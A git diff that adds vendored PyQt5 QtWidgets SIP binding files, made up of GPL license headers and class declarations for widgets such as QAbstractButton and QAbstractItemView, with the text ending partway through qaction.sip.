/dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/QtWidgetsmod.sip @@ -0,0 +1,172 @@ +// QtWidgetsmod.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtWidgets, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtGui/QtGuimod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qabstractbutton.sip +%Include qabstractitemdelegate.sip +%Include qabstractitemview.sip +%Include qabstractscrollarea.sip +%Include qabstractslider.sip +%Include qabstractspinbox.sip +%Include qaction.sip +%Include qactiongroup.sip +%Include qapplication.sip +%Include qboxlayout.sip +%Include qbuttongroup.sip +%Include qcalendarwidget.sip +%Include qcheckbox.sip +%Include qcolordialog.sip +%Include qcolumnview.sip +%Include qcombobox.sip +%Include qcommandlinkbutton.sip +%Include qcommonstyle.sip +%Include qcompleter.sip +%Include qdatawidgetmapper.sip +%Include qdatetimeedit.sip +%Include qdesktopwidget.sip +%Include qdial.sip +%Include qdialog.sip +%Include qdialogbuttonbox.sip +%Include qdirmodel.sip +%Include qdockwidget.sip +%Include qdrawutil.sip +%Include qerrormessage.sip +%Include qfiledialog.sip +%Include qfileiconprovider.sip +%Include qfilesystemmodel.sip +%Include qfocusframe.sip +%Include qfontcombobox.sip +%Include qfontdialog.sip +%Include qformlayout.sip +%Include qframe.sip +%Include qgesture.sip +%Include qgesturerecognizer.sip +%Include qgraphicsanchorlayout.sip +%Include qgraphicseffect.sip +%Include qgraphicsgridlayout.sip +%Include qgraphicsitem.sip +%Include qgraphicslayout.sip +%Include qgraphicslayoutitem.sip +%Include qgraphicslinearlayout.sip +%Include qgraphicsproxywidget.sip +%Include qgraphicsscene.sip +%Include qgraphicssceneevent.sip +%Include qgraphicstransform.sip +%Include qgraphicsview.sip +%Include qgraphicswidget.sip +%Include qgridlayout.sip +%Include qgroupbox.sip +%Include qheaderview.sip +%Include qinputdialog.sip +%Include qitemdelegate.sip +%Include qitemeditorfactory.sip +%Include qkeyeventtransition.sip +%Include qkeysequenceedit.sip +%Include qlabel.sip +%Include qlayout.sip +%Include qlayoutitem.sip +%Include qlcdnumber.sip +%Include qlineedit.sip +%Include qlistview.sip +%Include qlistwidget.sip +%Include qmainwindow.sip +%Include qmdiarea.sip +%Include qmdisubwindow.sip +%Include qmenu.sip +%Include qmenubar.sip +%Include qmessagebox.sip +%Include qmouseeventtransition.sip +%Include qopenglwidget.sip +%Include qplaintextedit.sip +%Include qprogressbar.sip +%Include qprogressdialog.sip +%Include qproxystyle.sip +%Include qpushbutton.sip +%Include qradiobutton.sip +%Include qrubberband.sip +%Include qscrollarea.sip +%Include qscrollbar.sip +%Include qscroller.sip +%Include qscrollerproperties.sip +%Include qshortcut.sip +%Include qsizegrip.sip +%Include qsizepolicy.sip +%Include qslider.sip +%Include qspinbox.sip +%Include qsplashscreen.sip +%Include qsplitter.sip +%Include qstackedlayout.sip +%Include qstackedwidget.sip +%Include qstatusbar.sip +%Include qstyle.sip +%Include qstyleditemdelegate.sip +%Include qstylefactory.sip +%Include qstyleoption.sip +%Include qstylepainter.sip +%Include qsystemtrayicon.sip +%Include qtabbar.sip +%Include qtableview.sip +%Include qtablewidget.sip +%Include qtabwidget.sip +%Include qtextbrowser.sip +%Include qtextedit.sip +%Include qtoolbar.sip +%Include qtoolbox.sip +%Include qtoolbutton.sip +%Include qtooltip.sip +%Include qtreeview.sip +%Include qtreewidget.sip +%Include qtreewidgetitemiterator.sip +%Include qundogroup.sip +%Include qundostack.sip +%Include qundoview.sip +%Include qwhatsthis.sip +%Include qwidget.sip +%Include qwidgetaction.sip +%Include qwizard.sip +%Include qmaccocoaviewcontainer.sip +%Include qpywidgets_qlist.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractbutton.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractbutton.sip new file mode 100644 index 00000000..d14e6c43 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractbutton.sip @@ -0,0 +1,82 @@ +// qabstractbutton.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractButton : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + explicit QAbstractButton(QWidget *parent /TransferThis/ = 0); + virtual ~QAbstractButton(); + void setAutoRepeatDelay(int); + int autoRepeatDelay() const; + void setAutoRepeatInterval(int); + int autoRepeatInterval() const; + void setText(const QString &text); + QString text() const; + void setIcon(const QIcon &icon); + QIcon icon() const; + QSize iconSize() const; + void setShortcut(const QKeySequence &key); + QKeySequence shortcut() const; + void setCheckable(bool); + bool isCheckable() const; + bool isChecked() const; + void setDown(bool); + bool isDown() const; + void setAutoRepeat(bool); + bool autoRepeat() const; + void setAutoExclusive(bool); + bool autoExclusive() const; + QButtonGroup *group() const; + +public slots: + void setIconSize(const QSize &size); + void animateClick(int msecs = 100); + void click(); + void toggle(); + void setChecked(bool); + +signals: + void pressed(); + void released(); + void clicked(bool checked = false); + void toggled(bool checked); + +protected: + virtual void paintEvent(QPaintEvent *e) = 0; + virtual bool hitButton(const QPoint &pos) const; + virtual void checkStateSet(); + virtual void nextCheckState(); + virtual bool event(QEvent *e); + virtual void keyPressEvent(QKeyEvent *e); + virtual void keyReleaseEvent(QKeyEvent *e); + virtual void mousePressEvent(QMouseEvent *e); + virtual void mouseReleaseEvent(QMouseEvent *e); + virtual void mouseMoveEvent(QMouseEvent *e); + virtual void focusInEvent(QFocusEvent *e); + virtual void focusOutEvent(QFocusEvent *e); + virtual void changeEvent(QEvent *e); + virtual void timerEvent(QTimerEvent *e); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractitemdelegate.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractitemdelegate.sip new file mode 100644 index 00000000..9a8af3c5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractitemdelegate.sip @@ -0,0 +1,55 @@ +// qabstractitemdelegate.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractItemDelegate : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum EndEditHint + { + NoHint, + EditNextItem, + EditPreviousItem, + SubmitModelCache, + RevertModelCache, + }; + + explicit QAbstractItemDelegate(QObject *parent /TransferThis/ = 0); + virtual ~QAbstractItemDelegate(); + virtual void paint(QPainter *painter, const QStyleOptionViewItem &option /NoCopy/, const QModelIndex &index) const = 0; + virtual QSize sizeHint(const QStyleOptionViewItem &option /NoCopy/, const QModelIndex &index) const = 0; + virtual QWidget *createEditor(QWidget *parent /TransferThis/, const QStyleOptionViewItem &option /NoCopy/, const QModelIndex &index) const /Factory/; + virtual void setEditorData(QWidget *editor, const QModelIndex &index) const; + virtual void setModelData(QWidget *editor, QAbstractItemModel *model /KeepReference/, const QModelIndex &index) const; + virtual void updateEditorGeometry(QWidget *editor, const QStyleOptionViewItem &option /NoCopy/, const QModelIndex &index) const; + virtual void destroyEditor(QWidget *editor, const QModelIndex &index) const; + virtual bool editorEvent(QEvent *event, QAbstractItemModel *model, const QStyleOptionViewItem &option /NoCopy/, const QModelIndex &index); + virtual bool helpEvent(QHelpEvent *event, QAbstractItemView *view, const QStyleOptionViewItem &option, const QModelIndex &index); + +signals: + void commitData(QWidget *editor); + void closeEditor(QWidget *editor, QAbstractItemDelegate::EndEditHint hint = QAbstractItemDelegate::NoHint); + void sizeHintChanged(const QModelIndex &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractitemview.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractitemview.sip new file mode 100644 index 00000000..a25a5b69 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractitemview.sip @@ -0,0 +1,294 @@ +// qabstractitemview.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractItemView : QAbstractScrollArea +{ +%TypeHeaderCode +#include +%End + +public: + enum DragDropMode + { + NoDragDrop, + DragOnly, + DropOnly, + DragDrop, + InternalMove, + }; + + enum EditTrigger + { + NoEditTriggers, + CurrentChanged, + DoubleClicked, + SelectedClicked, + EditKeyPressed, + AnyKeyPressed, + AllEditTriggers, + }; + + typedef QFlags EditTriggers; + + enum ScrollHint + { + EnsureVisible, + PositionAtTop, + PositionAtBottom, + PositionAtCenter, + }; + + enum ScrollMode + { + ScrollPerItem, + ScrollPerPixel, + }; + + enum SelectionBehavior + { + SelectItems, + SelectRows, + SelectColumns, + }; + + enum SelectionMode + { + NoSelection, + SingleSelection, + MultiSelection, + ExtendedSelection, + ContiguousSelection, + }; + + explicit QAbstractItemView(QWidget *parent /TransferThis/ = 0); + virtual ~QAbstractItemView(); + virtual void setModel(QAbstractItemModel *model /KeepReference/); + QAbstractItemModel *model() const; + virtual void setSelectionModel(QItemSelectionModel *selectionModel /KeepReference/); + QItemSelectionModel *selectionModel() const; + void setItemDelegate(QAbstractItemDelegate *delegate /KeepReference/); + QAbstractItemDelegate *itemDelegate() const; + void setSelectionMode(QAbstractItemView::SelectionMode mode); + QAbstractItemView::SelectionMode selectionMode() const; + void setSelectionBehavior(QAbstractItemView::SelectionBehavior behavior); + QAbstractItemView::SelectionBehavior selectionBehavior() const; + QModelIndex currentIndex() const; + QModelIndex rootIndex() const; + void setEditTriggers(QAbstractItemView::EditTriggers triggers); + QAbstractItemView::EditTriggers editTriggers() const; + void setAutoScroll(bool enable); + bool hasAutoScroll() const; + void setTabKeyNavigation(bool enable); + bool tabKeyNavigation() const; + void setDropIndicatorShown(bool enable); + bool showDropIndicator() const; + void setDragEnabled(bool enable); + bool dragEnabled() const; + void setAlternatingRowColors(bool enable); + bool alternatingRowColors() const; + void setIconSize(const QSize &size); + QSize iconSize() const; + void setTextElideMode(Qt::TextElideMode mode); + Qt::TextElideMode textElideMode() const; + virtual void keyboardSearch(const QString &search); + virtual QRect visualRect(const QModelIndex &index) const = 0; + virtual void scrollTo(const QModelIndex &index, QAbstractItemView::ScrollHint hint = QAbstractItemView::EnsureVisible) = 0; + virtual QModelIndex indexAt(const QPoint &p) const = 0; + QSize sizeHintForIndex(const QModelIndex &index) const; + virtual int sizeHintForRow(int row) const; + virtual int sizeHintForColumn(int column) const; + void openPersistentEditor(const QModelIndex &index); + void closePersistentEditor(const QModelIndex &index); + void setIndexWidget(const QModelIndex &index, QWidget *widget /Transfer/); +%MethodCode + // We have to break the association with any existing widget. + QWidget *w = sipCpp->indexWidget(*a0); + + if (w) + { + PyObject *wo = sipGetPyObject(w, sipType_QWidget); + + if (wo) + sipTransferTo(wo, 0); + } + + Py_BEGIN_ALLOW_THREADS + sipCpp->setIndexWidget(*a0, a1); + Py_END_ALLOW_THREADS +%End + + QWidget *indexWidget(const QModelIndex &index) const; + +public slots: + virtual void reset(); + virtual void setRootIndex(const QModelIndex &index); + virtual void selectAll(); + void edit(const QModelIndex &index); + void clearSelection(); + void setCurrentIndex(const QModelIndex &index); + void scrollToTop(); + void scrollToBottom(); + void update(); + void update(const QModelIndex &index); + +protected slots: + virtual void dataChanged(const QModelIndex &topLeft, const QModelIndex &bottomRight, const QVector &roles = QVector()); + virtual void rowsInserted(const QModelIndex &parent, int start, int end); + virtual void rowsAboutToBeRemoved(const QModelIndex &parent, int start, int end); + virtual void selectionChanged(const QItemSelection &selected, const QItemSelection &deselected); + virtual void currentChanged(const QModelIndex ¤t, const QModelIndex &previous); + virtual void updateEditorData(); + virtual void updateEditorGeometries(); + virtual void updateGeometries(); + virtual void verticalScrollbarAction(int action); + virtual void horizontalScrollbarAction(int action); + virtual void verticalScrollbarValueChanged(int value); + virtual void horizontalScrollbarValueChanged(int value); + virtual void closeEditor(QWidget *editor, QAbstractItemDelegate::EndEditHint hint); + virtual void commitData(QWidget *editor); + virtual void editorDestroyed(QObject *editor); + +signals: + void pressed(const QModelIndex &index); + void clicked(const QModelIndex &index); + void doubleClicked(const QModelIndex &index); + void activated(const QModelIndex &index); + void entered(const QModelIndex &index); + void viewportEntered(); +%If (Qt_5_5_0 -) + void iconSizeChanged(const QSize &size); +%End + +protected: + enum CursorAction + { + MoveUp, + MoveDown, + MoveLeft, + MoveRight, + MoveHome, + MoveEnd, + MovePageUp, + MovePageDown, + MoveNext, + MovePrevious, + }; + + virtual QModelIndex moveCursor(QAbstractItemView::CursorAction cursorAction, Qt::KeyboardModifiers modifiers) = 0; + virtual int horizontalOffset() const = 0; + virtual int verticalOffset() const = 0; + virtual bool isIndexHidden(const QModelIndex &index) const = 0; + virtual void setSelection(const QRect &rect, QItemSelectionModel::SelectionFlags command) = 0; + virtual QRegion visualRegionForSelection(const QItemSelection &selection) const = 0; + virtual QModelIndexList selectedIndexes() const; + virtual bool edit(const QModelIndex &index, QAbstractItemView::EditTrigger trigger, QEvent *event); + virtual QItemSelectionModel::SelectionFlags selectionCommand(const QModelIndex &index, const QEvent *event = 0) const; + virtual void startDrag(Qt::DropActions supportedActions); + virtual QStyleOptionViewItem viewOptions() const; + + enum State + { + NoState, + DraggingState, + DragSelectingState, + EditingState, + ExpandingState, + CollapsingState, + AnimatingState, + }; + + QAbstractItemView::State state() const; + void setState(QAbstractItemView::State state); + void scheduleDelayedItemsLayout(); + void executeDelayedItemsLayout(); + void scrollDirtyRegion(int dx, int dy); + void setDirtyRegion(const QRegion ®ion); + QPoint dirtyRegionOffset() const; + virtual bool event(QEvent *event); + virtual bool viewportEvent(QEvent *e); + virtual void mousePressEvent(QMouseEvent *e); + virtual void mouseMoveEvent(QMouseEvent *e); + virtual void mouseReleaseEvent(QMouseEvent *e); + virtual void mouseDoubleClickEvent(QMouseEvent *e); + virtual void dragEnterEvent(QDragEnterEvent *e); + virtual void dragMoveEvent(QDragMoveEvent *e); + virtual void dragLeaveEvent(QDragLeaveEvent *e); + virtual void dropEvent(QDropEvent *e); + virtual void focusInEvent(QFocusEvent *e); + virtual void focusOutEvent(QFocusEvent *e); + virtual void keyPressEvent(QKeyEvent *e); + virtual void resizeEvent(QResizeEvent *e); + virtual void timerEvent(QTimerEvent *e); + + enum DropIndicatorPosition + { + OnItem, + AboveItem, + BelowItem, + OnViewport, + }; + + QAbstractItemView::DropIndicatorPosition dropIndicatorPosition() const; + +public: + void setVerticalScrollMode(QAbstractItemView::ScrollMode mode); + QAbstractItemView::ScrollMode verticalScrollMode() const; + void setHorizontalScrollMode(QAbstractItemView::ScrollMode mode); + QAbstractItemView::ScrollMode horizontalScrollMode() const; + void setDragDropOverwriteMode(bool overwrite); + bool dragDropOverwriteMode() const; + void setDragDropMode(QAbstractItemView::DragDropMode behavior); + QAbstractItemView::DragDropMode dragDropMode() const; + void setItemDelegateForRow(int row, QAbstractItemDelegate *delegate /KeepReference/); + QAbstractItemDelegate *itemDelegateForRow(int row) const; + void setItemDelegateForColumn(int column, QAbstractItemDelegate *delegate /KeepReference/); + QAbstractItemDelegate *itemDelegateForColumn(int column) const; + QAbstractItemDelegate *itemDelegate(const QModelIndex &index) const; + virtual QVariant inputMethodQuery(Qt::InputMethodQuery query) const; + void setAutoScrollMargin(int margin); + int autoScrollMargin() const; + +protected: + virtual bool focusNextPrevChild(bool next); + virtual void inputMethodEvent(QInputMethodEvent *event); +%If (Qt_5_2_0 -) + virtual QSize viewportSizeHint() const; +%End +%If (Qt_5_11_0 -) + virtual bool eventFilter(QObject *object, QEvent *event); +%End + +public: + void setDefaultDropAction(Qt::DropAction dropAction); + Qt::DropAction defaultDropAction() const; +%If (Qt_5_7_0 -) + void resetVerticalScrollMode(); +%End +%If (Qt_5_7_0 -) + void resetHorizontalScrollMode(); +%End +%If (Qt_5_10_0 -) + bool isPersistentEditorOpen(const QModelIndex &index) const; +%End +}; + +QFlags operator|(QAbstractItemView::EditTrigger f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractscrollarea.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractscrollarea.sip new file mode 100644 index 00000000..2b0340d7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractscrollarea.sip @@ -0,0 +1,95 @@ +// qabstractscrollarea.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractScrollArea : QFrame +{ +%TypeHeaderCode +#include +%End + +public: + explicit QAbstractScrollArea(QWidget *parent /TransferThis/ = 0); + virtual ~QAbstractScrollArea(); + Qt::ScrollBarPolicy verticalScrollBarPolicy() const; + void setVerticalScrollBarPolicy(Qt::ScrollBarPolicy); + QScrollBar *verticalScrollBar() const /Transfer/; + Qt::ScrollBarPolicy horizontalScrollBarPolicy() const; + void setHorizontalScrollBarPolicy(Qt::ScrollBarPolicy); + QScrollBar *horizontalScrollBar() const /Transfer/; + QWidget *viewport() const /Transfer/; + QSize maximumViewportSize() const; + virtual QSize minimumSizeHint() const; + virtual QSize sizeHint() const; + +protected: + void setViewportMargins(int left, int top, int right, int bottom); + void setViewportMargins(const QMargins &margins); +%If (Qt_5_5_0 -) + QMargins viewportMargins() const; +%End +%If (Qt_5_2_0 -) + virtual QSize viewportSizeHint() const; +%End + virtual bool event(QEvent *); + virtual bool viewportEvent(QEvent *); + virtual void resizeEvent(QResizeEvent *); + virtual void paintEvent(QPaintEvent *); + virtual void mousePressEvent(QMouseEvent *); + virtual void mouseReleaseEvent(QMouseEvent *); + virtual void mouseDoubleClickEvent(QMouseEvent *); + virtual void mouseMoveEvent(QMouseEvent *); + virtual void wheelEvent(QWheelEvent *); + virtual void contextMenuEvent(QContextMenuEvent *); + virtual void dragEnterEvent(QDragEnterEvent *); + virtual void dragMoveEvent(QDragMoveEvent *); + virtual void dragLeaveEvent(QDragLeaveEvent *); + virtual void dropEvent(QDropEvent *); + virtual void keyPressEvent(QKeyEvent *); + virtual bool eventFilter(QObject *, QEvent *); + virtual void scrollContentsBy(int dx, int dy); + +public: + void setVerticalScrollBar(QScrollBar *scrollbar /Transfer/); + void setHorizontalScrollBar(QScrollBar *scrollbar /Transfer/); + QWidget *cornerWidget() const; + void setCornerWidget(QWidget *widget /Transfer/); + void addScrollBarWidget(QWidget *widget /Transfer/, Qt::Alignment alignment); + QWidgetList scrollBarWidgets(Qt::Alignment alignment) /Transfer/; + void setViewport(QWidget *widget /Transfer/); + virtual void setupViewport(QWidget *viewport); +%If (Qt_5_2_0 -) + + enum SizeAdjustPolicy + { + AdjustIgnored, + AdjustToContentsOnFirstShow, + AdjustToContents, + }; + +%End +%If (Qt_5_2_0 -) + QAbstractScrollArea::SizeAdjustPolicy sizeAdjustPolicy() const; +%End +%If (Qt_5_2_0 -) + void setSizeAdjustPolicy(QAbstractScrollArea::SizeAdjustPolicy policy); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractslider.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractslider.sip new file mode 100644 index 00000000..e55a706f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractslider.sip @@ -0,0 +1,98 @@ +// qabstractslider.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractSlider : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + explicit QAbstractSlider(QWidget *parent /TransferThis/ = 0); + virtual ~QAbstractSlider(); + Qt::Orientation orientation() const; + void setMinimum(int); + int minimum() const; + void setMaximum(int); + int maximum() const; + void setRange(int min, int max); + void setSingleStep(int); + int singleStep() const; + void setPageStep(int); + int pageStep() const; + void setTracking(bool enable); + bool hasTracking() const; + void setSliderDown(bool); + bool isSliderDown() const; + void setSliderPosition(int); + int sliderPosition() const; + void setInvertedAppearance(bool); + bool invertedAppearance() const; + void setInvertedControls(bool); + bool invertedControls() const; + + enum SliderAction + { + SliderNoAction, + SliderSingleStepAdd, + SliderSingleStepSub, + SliderPageStepAdd, + SliderPageStepSub, + SliderToMinimum, + SliderToMaximum, + SliderMove, + }; + + int value() const; + void triggerAction(QAbstractSlider::SliderAction action); + +public slots: + void setValue(int); + void setOrientation(Qt::Orientation); + +signals: + void valueChanged(int value); + void sliderPressed(); + void sliderMoved(int position); + void sliderReleased(); + void rangeChanged(int min, int max); + void actionTriggered(int action); + +protected: + void setRepeatAction(QAbstractSlider::SliderAction action, int thresholdTime = 500, int repeatTime = 50); + QAbstractSlider::SliderAction repeatAction() const; + + enum SliderChange + { + SliderRangeChange, + SliderOrientationChange, + SliderStepsChange, + SliderValueChange, + }; + + virtual void sliderChange(QAbstractSlider::SliderChange change); + virtual bool event(QEvent *e); + virtual void keyPressEvent(QKeyEvent *ev); + virtual void timerEvent(QTimerEvent *); + virtual void wheelEvent(QWheelEvent *e); + virtual void changeEvent(QEvent *e); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractspinbox.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractspinbox.sip new file mode 100644 index 00000000..58273c0e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qabstractspinbox.sip @@ -0,0 +1,133 @@ +// qabstractspinbox.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractSpinBox : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + explicit QAbstractSpinBox(QWidget *parent /TransferThis/ = 0); + virtual ~QAbstractSpinBox(); + + enum StepEnabledFlag + { + StepNone, + StepUpEnabled, + StepDownEnabled, + }; + + typedef QFlags StepEnabled; + + enum ButtonSymbols + { + UpDownArrows, + PlusMinus, + NoButtons, + }; + + QAbstractSpinBox::ButtonSymbols buttonSymbols() const; + void setButtonSymbols(QAbstractSpinBox::ButtonSymbols bs); + QString text() const; + QString specialValueText() const; + void setSpecialValueText(const QString &s); + bool wrapping() const; + void setWrapping(bool w); + void setReadOnly(bool r); + bool isReadOnly() const; + void setAlignment(Qt::Alignment flag); + Qt::Alignment alignment() const; + void setFrame(bool); + bool hasFrame() const; + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + void interpretText(); + virtual bool event(QEvent *event); + virtual QValidator::State validate(QString &input /In,Out/, int &pos /In,Out/) const; + virtual void fixup(QString &input /In,Out/) const; + virtual void stepBy(int steps); + +public slots: + void stepUp(); + void stepDown(); + void selectAll(); + virtual void clear(); + +signals: + void editingFinished(); + +protected: + virtual void resizeEvent(QResizeEvent *e); + virtual void keyPressEvent(QKeyEvent *e); + virtual void keyReleaseEvent(QKeyEvent *e); + virtual void wheelEvent(QWheelEvent *e); + virtual void focusInEvent(QFocusEvent *e); + virtual void focusOutEvent(QFocusEvent *e); + virtual void contextMenuEvent(QContextMenuEvent *e); + virtual void changeEvent(QEvent *e); + virtual void closeEvent(QCloseEvent *e); + virtual void hideEvent(QHideEvent *e); + virtual void mousePressEvent(QMouseEvent *e); + virtual void mouseReleaseEvent(QMouseEvent *e); + virtual void mouseMoveEvent(QMouseEvent *e); + virtual void timerEvent(QTimerEvent *e); + virtual void paintEvent(QPaintEvent *e); + virtual void showEvent(QShowEvent *e); + QLineEdit *lineEdit() const; + void setLineEdit(QLineEdit *e /Transfer/); + virtual QAbstractSpinBox::StepEnabled stepEnabled() const; + void initStyleOption(QStyleOptionSpinBox *option) const; + +public: + enum CorrectionMode + { + CorrectToPreviousValue, + CorrectToNearestValue, + }; + + void setCorrectionMode(QAbstractSpinBox::CorrectionMode cm); + QAbstractSpinBox::CorrectionMode correctionMode() const; + bool hasAcceptableInput() const; + void setAccelerated(bool on); + bool isAccelerated() const; + void setKeyboardTracking(bool kt); + bool keyboardTracking() const; + virtual QVariant inputMethodQuery(Qt::InputMethodQuery) const; +%If (Qt_5_3_0 -) + void setGroupSeparatorShown(bool shown); +%End +%If (Qt_5_3_0 -) + bool isGroupSeparatorShown() const; +%End +%If (Qt_5_12_0 -) + + enum StepType + { + DefaultStepType, + AdaptiveDecimalStepType, + }; + +%End +}; + +QFlags operator|(QAbstractSpinBox::StepEnabledFlag f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qaction.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qaction.sip new file mode 100644 index 00000000..716cd6ef --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qaction.sip @@ -0,0 +1,148 @@ +// qaction.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 